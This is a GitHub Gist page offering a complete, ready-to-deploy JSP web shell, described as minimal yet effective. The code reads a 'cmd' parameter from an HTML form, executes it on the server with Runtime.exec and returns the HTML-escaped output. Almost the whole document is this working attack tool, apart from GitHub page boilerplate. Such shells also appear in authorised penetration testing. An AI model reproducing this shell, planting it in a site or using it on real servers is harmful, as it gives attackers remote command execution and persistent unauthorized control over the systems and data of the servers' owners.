-
-
Save 0xhexmex/d4df0ba36dd9234d9dfc143743ba540a to your computer and use it in GitHub Desktop.
A simple and minimal yet effective JSP Web Shell that escapes command output as HTML entities as needed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form method="GET" action=""> | |
<input type="text" name="cmd" /> | |
<input type="submit" value="Exec!" /> | |
</form> <%! | |
public String esc(String str){ | |
StringBuffer sb = new StringBuffer(); | |
for(char c : str.toCharArray()) | |
if( c >= '0' && c <= '9' || c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' || c == ' ' ) | |
sb.append( c ); | |
else | |
sb.append("&#"+(int)(c&0xff)+";"); | |
return sb.toString(); | |
} %><% | |
String cmd = request.getParameter("cmd"); | |
if ( cmd != null) { | |
out.println("<pre>Command was: <b>"+esc(cmd)+"</b>\n"); | |
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); | |
String line = in.readLine(); | |
while( line != null ){ | |
out.println(esc(line)); | |
line = in.readLine(); | |
} | |
out.println("</pre>"); | |
} %> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment